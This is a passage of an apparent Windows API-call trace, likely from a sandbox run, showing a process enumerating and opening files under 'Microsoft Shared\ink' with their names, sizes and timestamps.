lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.080] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0047.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.080] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0047.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.080] NtClose (Handle=0x16c) returned 0x0 [0047.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0047.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e46b8 [0047.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.081] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0047.081] GetLastError () returned 0x12 [0047.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0047.081] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0047.081] GetLastError () returned 0x12 [0047.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e46b8) returned 1 [0047.081] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0047.081] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0047.082] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, 